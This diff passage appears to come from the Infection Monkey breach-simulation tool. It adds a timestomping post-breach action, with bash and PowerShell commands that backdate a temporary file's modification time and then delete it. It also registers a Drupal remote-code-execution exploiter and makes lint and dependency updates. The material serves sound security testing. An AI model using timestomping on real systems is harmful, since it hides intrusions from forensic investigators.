+        f'echo "Successfully changed a file\'s modification timestamp" > {TEMP_FILE} && '
+        f'touch -m -t {TIMESTAMP_EPOCH} {TEMP_FILE} && '
+        f'cat {TEMP_FILE} ; '
+        f'rm {TEMP_FILE} -f'
+    ]
+
+
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md

monkey/infection_monkey/post_breach/timestomping/timestomping.py

@@ -0,0 +1,10 @@
+from infection_monkey.post_breach.timestomping.linux.timestomping import \
+    get_linux_timestomping_commands
+from infection_monkey.post_breach.timestomping.windows.timestomping import \
+    get_windows_timestomping_commands
+
+
+def get_timestomping_commands():
+    linux_cmds = get_linux_timestomping_commands()
+    windows_cmds = get_windows_timestomping_commands()
+    return linux_cmds, windows_cmds

monkey/infection_monkey/post_breach/timestomping/windows/timestomping.ps1

@@ -0,0 +1,13 @@
+$TEMP_FILE = 'monkey-timestomping-file.txt'
+$TIMESTAMP_EPOCH = '01/01/1970 00:00:00'
+
+# create temporary file
+New-Item -Path $TEMP_FILE -Force | Out-Null
+Set-Content $TEMP_FILE -Value "Successfully changed a file's modification timestamp" -Force | Out-Null
+
+# attempt to change modification timestamp
+Get-ChildItem $TEMP_FILE | % { $_.LastWriteTime = $TIMESTAMP_EPOCH }
+Get-Content  $TEMP_FILE
+
+# remove temporary file
+Remove-Item $TEMP_FILE -Force -ErrorAction Ignore

monkey/infection_monkey/post_breach/timestomping/windows/timestomping.py

@@ -0,0 +1,8 @@
+TEMP_FILE = 'monkey-timestomping-file.txt'
+
+
+def get_windows_timestomping_commands():
+    return 'powershell.exe infection_monkey/post_breach/timestomping/windows/timestomping.ps1'
+
+
+# Commands' source: https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1070.006/T1070.006.md

monkey/infection_monkey/system_info/windows_info_collector.py

@@ -7,14 +7,10 @@ from infection_monkey.system_info.windows_cred_collector.mimikatz_cred_collector
     MimikatzCredentialCollector
 
 sys.coinit_flags = 0  # needed for proper destruction of the wmi python module
-# noinspection PyPep8
-import infection_monkey.config
-# noinspection PyPep8
-from common.utils.wmi_utils import WMIUtils
-# noinspection PyPep8
-from infection_monkey.system_info import InfoCollector
-# noinspection PyPep8
-from infection_monkey.system_info.wmi_consts import WMI_CLASSES
+import infection_monkey.config  # noqa: E402
+from common.utils.wmi_utils import WMIUtils  # noqa: E402
+from infection_monkey.system_info import InfoCollector  # noqa: E402
+from infection_monkey.system_info.wmi_consts import WMI_CLASSES  # noqa: E402
 
 LOG = logging.getLogger(__name__)
 LOG.info('started windows info collector')

monkey/infection_monkey/transport/__init__.py

@@ -1 +1,2 @@
-from infection_monkey.transport.http import HTTPServer, LockedHTTPServer
+from infection_monkey.transport.http import HTTPServer  # noqa: F401
+from infection_monkey.transport.http import LockedHTTPServer  # noqa: F401

monkey/infection_monkey/transport/tcp.py

@@ -65,7 +65,7 @@ class TcpProxy(TransportProxyBase):
             dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
             try:
                 dest.connect((self.dest_host, self.dest_port))
-            except socket.error as ex:
+            except socket.error:
                 source.close()
                 dest.close()
                 continue

monkey/infection_monkey/utils/hidden_files.py

@@ -5,8 +5,8 @@ from infection_monkey.utils.linux.hidden_files import (
     get_linux_commands_to_delete, get_linux_commands_to_hide_files,
     get_linux_commands_to_hide_folders)
 from infection_monkey.utils.windows.hidden_files import (
-    get_winAPI_to_hide_files, get_windows_commands_to_delete,
-    get_windows_commands_to_hide_files, get_windows_commands_to_hide_folders)
+    get_windows_commands_to_delete, get_windows_commands_to_hide_files,
+    get_windows_commands_to_hide_folders)
 
 
 def get_commands_to_hide_files():

monkey/infection_monkey/utils/windows/hidden_files.py

@@ -51,7 +51,7 @@ def get_winAPI_to_hide_files():
         fileCreation = win32file.CREATE_ALWAYS  # overwrite existing file
         fileFlags = win32file.FILE_ATTRIBUTE_HIDDEN  # make hidden
 
-        hiddenFile = win32file.CreateFile(HIDDEN_FILE_WINAPI,
+        win32file.CreateFile(HIDDEN_FILE_WINAPI,
                              fileAccess,
                              0,  # sharing mode: 0 => can't be shared
                              None,  # security attributes

monkey/monkey_island/cc/encryptor.py

@@ -1,8 +1,9 @@
 import base64
 import os
 
-from Crypto import Random
-from Crypto.Cipher import AES
+# PyCrypto is deprecated, but we use pycryptodome, which uses the exact same imports but it maintained
+from Crypto import Random  # noqa: DOU133
+from Crypto.Cipher import AES  # noqa: DOU133
 
 from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
 

monkey/monkey_island/cc/environment/aws.py

@@ -1,6 +1,5 @@
 from common.cloud.aws.aws_instance import AwsInstance
 from monkey_island.cc.environment import Environment
-from monkey_island.cc.resources.auth.auth_user import User
 
 __author__ = 'itay.mizeretz'
 

monkey/monkey_island/cc/environment/environment_singleton.py

@@ -1,7 +1,5 @@
 import logging
 
-env = None
-
 import monkey_island.cc.resources.auth.user_store as user_store
 from monkey_island.cc.environment import (EnvironmentConfig, aws, password,
                                           standard, testing)
@@ -22,6 +20,8 @@ ENV_DICT = {
     TESTING: testing.TestingEnvironment
 }
 
+env = None
+
 
 def set_env(env_type: str, env_config: EnvironmentConfig):
     global env

monkey/monkey_island/cc/environment/test__init__.py

@@ -112,4 +112,3 @@ class TestEnvironment(TestCase):
             self.assertTrue(method())
         else:
             self.assertFalse(method())
-

monkey/monkey_island/cc/environment/test_environment_config.py

@@ -57,7 +57,7 @@ class TestEnvironmentConfig(TestCase):
 
     def test_get_server_config_file_path(self):
         if platform.system() == "Windows":
-            server_file_path = MONKEY_ISLAND_ABS_PATH + "\cc\server_config.json"
+            server_file_path = MONKEY_ISLAND_ABS_PATH + r"\cc\server_config.json"
         else:
             server_file_path = MONKEY_ISLAND_ABS_PATH + "/cc/server_config.json"
         self.assertEqual(EnvironmentConfig.get_config_file_path(), server_file_path)

monkey/monkey_island/cc/main.py

@@ -1,35 +1,38 @@
 import logging
 import os
-import os.path
 import sys
 import time
+from pathlib import Path
 from threading import Thread
 
-MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
+# Add the monkey_island directory to the path, to make sure imports that don't start with "monkey_island." work.
+MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
+if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
+    sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
 
-BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
-
-if BASE_PATH not in sys.path:
-    sys.path.insert(0, BASE_PATH)
-
-from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
-from monkey_island.cc.island_logger import json_setup_logging
+from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH  # noqa: E402
+from monkey_island.cc.island_logger import json_setup_logging  # noqa: E402
 
 # This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
-json_setup_logging(default_path=os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
+json_setup_logging(default_path=Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'island_logger_default_config.json'),
                    default_level=logging.DEBUG)
 logger = logging.getLogger(__name__)
 
-import monkey_island.cc.environment.environment_singleton as env_singleton
-from common.version import get_version
-from monkey_island.cc.app import init_app
-from monkey_island.cc.bootloader_server import BootloaderHttpServer
-from monkey_island.cc.database import get_db_version, is_db_server_up
-from monkey_island.cc.network_utils import local_ip_addresses
-from monkey_island.cc.resources.monkey_download import MonkeyDownload
+import monkey_island.cc.environment.environment_singleton as env_singleton  # noqa: E402
+from common.version import get_version  # noqa: E402
+from monkey_island.cc.app import init_app  # noqa: E402
+from monkey_island.cc.bootloader_server import \
+    BootloaderHttpServer  # noqa: E402
+from monkey_island.cc.database import get_db_version  # noqa: E402
+from monkey_island.cc.database import is_db_server_up  # noqa: E402
+from monkey_island.cc.network_utils import local_ip_addresses  # noqa: E402
+from monkey_island.cc.resources.monkey_download import \
+    MonkeyDownload  # noqa: E402
 from monkey_island.cc.services.reporting.exporter_init import \
-    populate_exporter_list
-from monkey_island.cc.setup import setup
+    populate_exporter_list  # noqa: E402
+from monkey_island.cc.setup import setup  # noqa: E402
+
+MINIMUM_MONGO_DB_VERSION_REQUIRED = "4.2.0"
 
 
 def main(should_setup_only=False):
@@ -54,8 +57,8 @@ def start_island_server(should_setup_only):
     populate_exporter_list()
     app = init_app(mongo_url)
 
-    crt_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt')
-    key_path = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key')
+    crt_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.crt'))
+    key_path = str(Path(MONKEY_ISLAND_ABS_PATH, 'cc', 'server.key'))
 
     setup()
 

monkey/monkey_island/cc/models/monkey.py

@@ -143,7 +143,7 @@ class Monkey(Document):
         try:
             _ = Monkey.get_single_monkey_by_id(object_id)
             return True
-        except:
+        except:  # noqa: E722
             return False
 
     @staticmethod

monkey/monkey_island/cc/models/test_monkey.py

@@ -77,7 +77,7 @@ class TestMonkey(IslandTestCase):
         self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id))
 
         # Raise on non-existent monkey
-        with pytest.raises(MonkeyNotFoundError) as e_info:
+        with pytest.raises(MonkeyNotFoundError) as _:
             _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef")
 
     def test_get_os(self):

monkey/monkey_island/cc/resources/island_logs.py

@@ -15,5 +15,5 @@ class IslandLog(flask_restful.Resource):
     def get(self):
         try:
             return IslandLogService.get_log_file()
-        except Exception as e:
+        except Exception:
             logger.error('Monkey Island logs failed to download', exc_info=True)

monkey/monkey_island/cc/services/attack/attack_report.py

@@ -11,16 +11,16 @@ from monkey_island.cc.services.attack.technique_reports import (T1003, T1005,
                                                                 T1065, T1075,
                                                                 T1082, T1086,
                                                                 T1087, T1090,
-                                                                T1105, T1106,
-                                                                T1107, T1110,
-                                                                T1129, T1136,
-                                                                T1145, T1146,
-                                                                T1154, T1156,
-                                                                T1158, T1166,
-                                                                T1168, T1188,
-                                                                T1197, T1210,
-                                                                T1216, T1222,
-                                                                T1504)
+                                                                T1099, T1105,
+                                                                T1106, T1107,
+                                                                T1110, T1129,
+                                                                T1136, T1145,
+                                                                T1146, T1154,
+                                                                T1156, T1158,
+                                                                T1166, T1168,
+                                                                T1188, T1197,
+                                                                T1210, T1216,
+                                                                T1222, T1504)
 from monkey_island.cc.services.reporting.report_generation_synchronisation import \
     safe_generate_attack_report
 
@@ -60,6 +60,7 @@ TECHNIQUES = {'T1210': T1210.T1210,
               'T1166': T1166.T1166,
               'T1168': T1168.T1168,
               'T1053': T1053.T1053,
+              'T1099': T1099.T1099,
               'T1216': T1216.T1216,
               'T1087': T1087.T1087,
               'T1146': T1146.T1146

monkey/monkey_island/cc/services/attack/attack_schema.py

@@ -195,6 +195,15 @@ SCHEMA = {
                     "link": "https://attack.mitre.org/techniques/T1222",
                     "description": "Adversaries may modify file permissions/attributes to evade intended DACLs."
                 },
+                "T1099": {
+                    "title": "Timestomping",
+                    "type": "bool",
+                    "value": True,
+                    "necessary": False,
+                    "link": "https://attack.mitre.org/techniques/T1099",
+                    "description": "Adversaries may modify file time attributes to hide new/changes to existing "
+                                   "files to avoid attention from forensic investigators or file analysis tools."
+                },
                 "T1216": {
                     "title": "Signed script proxy execution",
                     "type": "bool",

monkey/monkey_island/cc/services/attack/technique_reports/T1099.py

@@ -0,0 +1,13 @@
+from common.data.post_breach_consts import POST_BREACH_TIMESTOMPING
+from monkey_island.cc.services.attack.technique_reports.pba_technique import \
+    PostBreachTechnique
+
+__author__ = "shreyamalviya"
+
+
+class T1099(PostBreachTechnique):
+    tech_id = "T1099"
+    unscanned_msg = "Monkey didn't try changing any file's time attributes."
+    scanned_msg = "Monkey tried changing a file's time attributes but failed."
+    used_msg = "Monkey successfully changed a file's time attributes."
+    pba_names = [POST_BREACH_TIMESTOMPING]

monkey/monkey_island/cc/services/config.py

@@ -217,7 +217,8 @@ class ConfigService:
     @staticmethod
     def set_server_ips_in_config(config):
         ips = local_ip_addresses()
-        config["internal"]["island_server"]["command_servers"] = ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
+        config["internal"]["island_server"]["command_servers"] = \
+            ["%s:%d" % (ip, env_singleton.env.get_island_port()) for ip in ips]
         config["internal"]["island_server"]["current_server"] = "%s:%d" % (ips[0], env_singleton.env.get_island_port())
 
     @staticmethod

monkey/monkey_island/cc/services/config_schema/basic.py

@@ -26,7 +26,8 @@ BASIC = {
                         "WebLogicExploiter",
                         "HadoopExploiter",
                         "VSFTPDExploiter",
-                        "MSSQLExploiter"
+                        "MSSQLExploiter",
+                        "DrupalExploiter"
                     ]
                 }
             }

monkey/monkey_island/cc/services/config_schema/definitions/exploiter_classes.py

@@ -125,6 +125,16 @@ EXPLOITER_CLASSES = {
             "info": "Exploits a malicious backdoor that was added to the VSFTPD download archive. "
                     "Logic based on Metasploit module.",
             "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/vsftpd/"
+        },
+        {
+            "type": "string",
+            "enum": [
+                "DrupalExploiter"
+            ],
+            "title": "Drupal Exploiter",
+            "info": "Exploits a remote command execution vulnerability in a Drupal server,"
+                    "for which certain modules (such as RESTful Web Services) are enabled.",
+            "link": "https://www.guardicore.com/infectionmonkey/docs/reference/exploiters/drupal/"
         }
     ]
 }

monkey/monkey_island/cc/services/config_schema/definitions/post_breach_actions.py

@@ -71,6 +71,15 @@ POST_BREACH_ACTIONS = {
             "info": "Attempts to create a scheduled job on the system and remove it.",
             "attack_techniques": ["T1168", "T1053"]
         },
+        {
+            "type": "string",
+            "enum": [
+                "Timestomping"
+            ],
+            "title": "Timestomping",
+            "info": "Creates a temporary file and attempts to modify its time attributes. Removes the file afterwards.",
+            "attack_techniques": ["T1099"]
+        },
         {
             "type": "string",
             "enum": [

monkey/monkey_island/cc/services/config_schema/monkey.py

@@ -68,6 +68,7 @@ MONKEY = {
                         "TrapCommand",
                         "ChangeSetuidSetgid",
                         "ScheduleJobs",
+                        "Timestomping",
                         "AccountDiscovery"
                     ]
                 },

monkey/monkey_island/cc/services/edge/test_displayed_edge.py

@@ -1,6 +1,5 @@
 from bson import ObjectId
 
-from monkey_island.cc.models.edge import Edge
 from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
 from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService
 from monkey_island.cc.testing.IslandTestCase import IslandTestCase

monkey/monkey_island/cc/services/netmap/net_edge.py

@@ -1,7 +1,6 @@
 from bson import ObjectId
 
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
 from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
 from monkey_island.cc.services.edge.edge import EdgeService
 from monkey_island.cc.services.node import NodeService

monkey/monkey_island/cc/services/node.py

@@ -3,13 +3,11 @@ from datetime import datetime, timedelta
 from typing import Dict
 
 from bson import ObjectId
-from mongoengine import DoesNotExist
 
 import monkey_island.cc.services.log
 from monkey_island.cc import models
 from monkey_island.cc.database import mongo
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
 from monkey_island.cc.network_utils import is_local_ips, local_ip_addresses
 from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService
 from monkey_island.cc.services.edge.edge import EdgeService

monkey/monkey_island/cc/services/reporting/aws_exporter.py

@@ -299,7 +299,7 @@ class AWSExporter(Exporter):
             title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
             description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
                         "network.",
-            recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
+            recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
                            "the WMI protocol with user {username} and its password.".format(
                             machine=issue['machine'],
                             ip_address=issue['ip_address'],
@@ -316,7 +316,7 @@ class AWSExporter(Exporter):
             title="Machines are accessible using passwords supplied by the user during the Monkey's configuration.",
             description="Change {0}'s password to a complex one-use password that is not shared with other computers on the "
                         "network.".format(issue['username']),
-            recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
+            recommendation="The machine {machine} ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
                            "pass-the-hash attack over WMI protocol with user {username}".format(
                             machine=issue['machine'],
                             ip_address=issue['ip_address'],

monkey/monkey_island/cc/services/reporting/report.py

@@ -43,7 +43,8 @@ class ReportService:
             'WebLogicExploiter': 'Oracle WebLogic Exploiter',
             'HadoopExploiter': 'Hadoop/Yarn Exploiter',
             'MSSQLExploiter': 'MSSQL Exploiter',
-            'VSFTPDExploiter': 'VSFTPD Backdoor Exploited'
+            'VSFTPDExploiter': 'VSFTPD Backdoor Exploiter',
+            'DrupalExploiter': 'Drupal Server Exploiter'
         }
 
     class ISSUES_DICT(Enum):
@@ -61,6 +62,7 @@ class ReportService:
         PTH_CRIT_SERVICES_ACCESS = 11
         MSSQL = 12
         VSFTPD = 13
+        DRUPAL = 14
 
     class WARNINGS_DICT(Enum):
         CROSS_SEGMENT = 0
@@ -355,6 +357,12 @@ class ReportService:
         processed_exploit['type'] = 'mssql'
         return processed_exploit
 
+    @staticmethod
+    def process_drupal_exploit(exploit):
+        processed_exploit = ReportService.process_general_exploit(exploit)
+        processed_exploit['type'] = 'drupal'
+        return processed_exploit
+
     @staticmethod
     def process_exploit(exploit):
         exploiter_type = exploit['data']['exploiter']
@@ -370,7 +378,8 @@ class ReportService:
             'WebLogicExploiter': ReportService.process_weblogic_exploit,
             'HadoopExploiter': ReportService.process_hadoop_exploit,
             'MSSQLExploiter': ReportService.process_mssql_exploit,
-            'VSFTPDExploiter': ReportService.process_vsftpd_exploit
+            'VSFTPDExploiter': ReportService.process_vsftpd_exploit,
+            'DrupalExploiter': ReportService.process_drupal_exploit
         }
 
         return EXPLOIT_PROCESS_FUNCTION_DICT[exploiter_type](exploit)
@@ -666,6 +675,8 @@ class ReportService:
                     issues_byte_array[ReportService.ISSUES_DICT.MSSQL.value] = True
                 elif issue['type'] == 'hadoop':
                     issues_byte_array[ReportService.ISSUES_DICT.HADOOP.value] = True
+                elif issue['type'] == 'drupal':
+                    issues_byte_array[ReportService.ISSUES_DICT.DRUPAL.value] = True
                 elif issue['type'].endswith('_password') and issue['password'] in config_passwords and \
                         issue['username'] in config_users or issue['type'] == 'ssh':
                     issues_byte_array[ReportService.ISSUES_DICT.WEAK_PASSWORD.value] = True

monkey/monkey_island/cc/services/telemetry/processing/exploit.py

@@ -4,7 +4,6 @@ import dateutil
 
 from monkey_island.cc.encryptor import encryptor
 from monkey_island.cc.models import Monkey
-from monkey_island.cc.models.edge import Edge
 from monkey_island.cc.services.edge.displayed_edge import EdgeService
 from monkey_island.cc.services.node import NodeService
 from monkey_island.cc.services.telemetry.processing.utils import \

monkey/monkey_island/cc/ui/package-lock.json

@@ -1310,9 +1310,9 @@
       }
     },
     "@sindresorhus/is": {
-      "version": "3.1.1",
-      "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.1.tgz",
-      "integrity": "sha512-tLnujxFtfH7F+i5ghUfgGlJsvyCKvUnSMFMlWybFdX9/DdX8svb4Zwx1gV0gkkVCHXtmPSetoAR3QlKfOld6Tw=="
+      "version": "3.1.2",
+      "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-3.1.2.tgz",
+      "integrity": "sha512-JiX9vxoKMmu8Y3Zr2RVathBL1Cdu4Nt4MuNWemt1Nc06A0RAin9c5FArkhGsyMBWfCu4zj+9b+GxtjAnE4qqLQ=="
     },
     "@snyk/cli-interface": {
       "version": "2.8.1",
@@ -1550,9 +1550,9 @@
       }
     },
     "@snyk/java-call-graph-builder": {
-      "version": "1.12.1",
-      "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.12.1.tgz",
-      "integrity": "sha512-thaLaqwXYkvVKs1gqmCAB5aFvwp2cz84rFlODr93smG6E8s7U+KNMiiiWq1KjSvbRe3AN8YUENYGyUoGRu9m1w==",
+      "version": "1.13.1",
+      "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.13.1.tgz",
+      "integrity": "sha512-oOCSIyOMplV73a1agcXKXlFYQftK5esUUaFRTf90GOxQwKy8R9tZtKdP+CdutlgvjRP286DQ+7GlvKYsGGZbWg==",
       "requires": {
         "@snyk/graphlib": "2.1.9-patch",
         "ci-info": "^2.0.0",
@@ -1719,12 +1719,14 @@
     "@types/events": {
       "version": "3.0.0",
       "resolved": "https://registry.npmjs.org/@types/events/-/events-3.0.0.tgz",
-      "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g=="
+      "integrity": "sha512-EaObqwIvayI5a8dCzhFrjKzVwKLxjoG9T6Ppd5CEo07LRKfQ8Yokw54r5+Wq7FaBQ+yXRvQAYPrHwya1/UFt9g==",
+      "dev": true
     },
     "@types/glob": {
       "version": "7.1.1",
       "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.1.1.tgz",
       "integrity": "sha512-1Bh06cbWJUHMC97acuD6UMG29nMt0Aqz1vF3guLfG+kHHJhy3AyohZFFxYk2f7Q1SQIrNwvncxAE0N/9s70F2w==",
+      "dev": true,
       "requires": {
         "@types/events": "*",
         "@types/minimatch": "*",
@@ -1772,7 +1774,8 @@
     "@types/minimatch": {
       "version": "3.0.3",
       "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-3.0.3.tgz",
-      "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA=="
+      "integrity": "sha512-tHq6qdbT9U1IRSGf14CL0pUlULksvY9OZ+5eEgl1N7t+OA3tGvNpxJCzuKQlsNgCVwbAs670L1vcVQi8j9HjnA==",
+      "dev": true
     },
     "@types/minimist": {
       "version": "1.2.0",
@@ -2046,26 +2049,27 @@
       "dev": true
     },
     "@yarnpkg/core": {
-      "version": "2.1.1",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.1.1.tgz",
-      "integrity": "sha512-qeBxz8nHjKAbGTP2ZcXBnXGfM7+cN0A73mIai/24uru1ayvCIgfjWL1uIj/MM+m+K5lJX0Dcn94ZBHWits9JWQ==",
+      "version": "2.2.2",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/core/-/core-2.2.2.tgz",
+      "integrity": "sha512-TQ0wqQjbZQDrf31N5v4NtE4Juw1c16hYu9QwNloUxRgY/Z+AQIuqa6Jgv9BbAghchZkSIXDWp6bFGD7C+q7cuA==",
       "requires": {
         "@arcanis/slice-ansi": "^1.0.2",
-        "@yarnpkg/fslib": "^2.1.0",
+        "@yarnpkg/fslib": "^2.2.1",
         "@yarnpkg/json-proxy": "^2.1.0",
-        "@yarnpkg/libzip": "^2.1.0",
-        "@yarnpkg/parsers": "^2.1.0",
-        "@yarnpkg/pnp": "^2.1.0",
-        "@yarnpkg/shell": "^2.1.0",
+        "@yarnpkg/libzip": "^2.2.0",
+        "@yarnpkg/parsers": "^2.2.0",
+        "@yarnpkg/pnp": "^2.2.1",
+        "@yarnpkg/shell": "^2.2.0",
         "camelcase": "^5.3.1",
         "chalk": "^3.0.0",
         "ci-info": "^2.0.0",
-        "clipanion": "^2.4.2",
+        "clipanion": "^2.4.4",
         "cross-spawn": "7.0.3",
         "diff": "^4.0.1",
-        "globby": "^10.0.1",
+        "globby": "^11.0.1",
         "got": "^11.1.3",
         "json-file-plus": "^3.3.1",
+        "lodash": "^4.17.15",
         "logic-solver": "^2.0.1",
         "micromatch": "^4.0.2",
         "mkdirp": "^0.5.1",
@@ -2074,7 +2078,7 @@
         "pretty-bytes": "^5.1.0",
         "semver": "^7.1.2",
         "stream-to-promise": "^2.2.0",
-        "tar": "^4.4.6",
+        "tar-stream": "^2.0.1",
         "tslib": "^1.13.0",
         "tunnel": "^0.0.6"
       },
@@ -2142,17 +2146,15 @@
           }
         },
         "globby": {
-          "version": "10.0.2",
-          "resolved": "https://registry.npmjs.org/globby/-/globby-10.0.2.tgz",
-          "integrity": "sha512-7dUi7RvCoT/xast/o/dLN53oqND4yk0nsHkhRgn9w65C4PofCLOoJ39iSOg+qVDdWQPIEj+eszMHQ+aLVwwQSg==",
+          "version": "11.0.1",
+          "resolved": "https://registry.npmjs.org/globby/-/globby-11.0.1.tgz",
+          "integrity": "sha512-iH9RmgwCmUJHi2z5o2l3eTtGBtXek1OYlHrbcxOYugyHLmAsZrPj43OtHThd62Buh/Vv6VyCBD2bdyWcGNQqoQ==",
           "requires": {
-            "@types/glob": "^7.1.1",
             "array-union": "^2.1.0",
             "dir-glob": "^3.0.1",
-            "fast-glob": "^3.0.3",
-            "glob": "^7.1.3",
-            "ignore": "^5.1.1",
-            "merge2": "^1.2.3",
+            "fast-glob": "^3.1.1",
+            "ignore": "^5.1.4",
+            "merge2": "^1.3.0",
             "slash": "^3.0.0"
           }
         },
@@ -2209,27 +2211,13 @@
           "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q=="
         },
         "supports-color": {
-          "version": "7.1.0",
-          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz",
-          "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==",
+          "version": "7.2.0",
+          "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
+          "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
           "requires": {
             "has-flag": "^4.0.0"
           }
         },
-        "tar": {
-          "version": "4.4.13",
-          "resolved": "https://registry.npmjs.org/tar/-/tar-4.4.13.tgz",
-          "integrity": "sha512-w2VwSrBoHa5BsSyH+KxEqeQBAllHhccyMFVHtGtdMpF4W7IRWfZjFiQceJPChOeTsSDVUpER2T8FA93pr0L+QA==",
-          "requires": {
-            "chownr": "^1.1.1",
-            "fs-minipass": "^1.2.5",
-            "minipass": "^2.8.6",
-            "minizlib": "^1.2.1",
-            "mkdirp": "^0.5.0",
-            "safe-buffer": "^5.1.2",
-            "yallist": "^3.0.3"
-          }
-        },
         "to-regex-range": {
           "version": "5.0.1",
           "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
@@ -2250,20 +2238,15 @@
           "requires": {
             "isexe": "^2.0.0"
           }
-        },
-        "yallist": {
-          "version": "3.1.1",
-          "resolved": "https://registry.npmjs.org/yallist/-/yallist-3.1.1.tgz",
-          "integrity": "sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g=="
         }
       }
     },
     "@yarnpkg/fslib": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.1.0.tgz",
-      "integrity": "sha512-E+f8w5yQZnTf1soyTWy7qdf+GmHsY+A0yEN4Di44/Txk6XRIMruyc1ShDi93mOI6ilnXxD87rNms18zJ8WnspA==",
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/fslib/-/fslib-2.2.1.tgz",
+      "integrity": "sha512-7SzLP/RHt8lEOaCTg6hMMrnxc2/Osbu3+UPwLZiZiGtLpYqwtTgtWTlAqddS3+MESXOZhc+3gKLX0lfqm6oWuw==",
       "requires": {
-        "@yarnpkg/libzip": "^2.1.0",
+        "@yarnpkg/libzip": "^2.2.0",
         "tslib": "^1.13.0"
       },
       "dependencies": {
@@ -2291,9 +2274,9 @@
       }
     },
     "@yarnpkg/libzip": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.1.0.tgz",
-      "integrity": "sha512-39c7KuSWcYUqVxlBLZwfqdD/D6lS+jplNVWd6uAnk8EpnacaYGJRegvkqWyfw5c8KHukNMeEGF5JHrXPZYBM0w==",
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/libzip/-/libzip-2.2.0.tgz",
+      "integrity": "sha512-/YRSPJbPAvHeCJxcXJrUV4eRP9hER6YB6LyZxsFlpyF++eqdOzNu0WsuXRRJxfqYt3hl7SiGFkL23qB9jqC6cw==",
       "requires": {
         "@types/emscripten": "^1.38.0",
         "tslib": "^1.13.0"
@@ -2312,9 +2295,9 @@
       "integrity": "sha512-GpSwvyXOcOOlV70vbnzjj4fW5xW/FdUF6nQEt1ENy7m4ZCczi1+/buVUPAqmGfqznsORNFzUMjctTIp8a9tuCQ=="
     },
     "@yarnpkg/parsers": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.1.0.tgz",
-      "integrity": "sha512-75OYQ6PMs1C3zm+W+T1xhLyVDX78zXQGEVHpWd4o/QwpAbhneB3/5FXVGRzI3gjPPWWSb/pKOPB1S6p0xmQD2Q==",
+      "version": "2.2.0",
+      "resolved": "https://registry.npmjs.org/@yarnpkg/parsers/-/parsers-2.2.0.tgz",
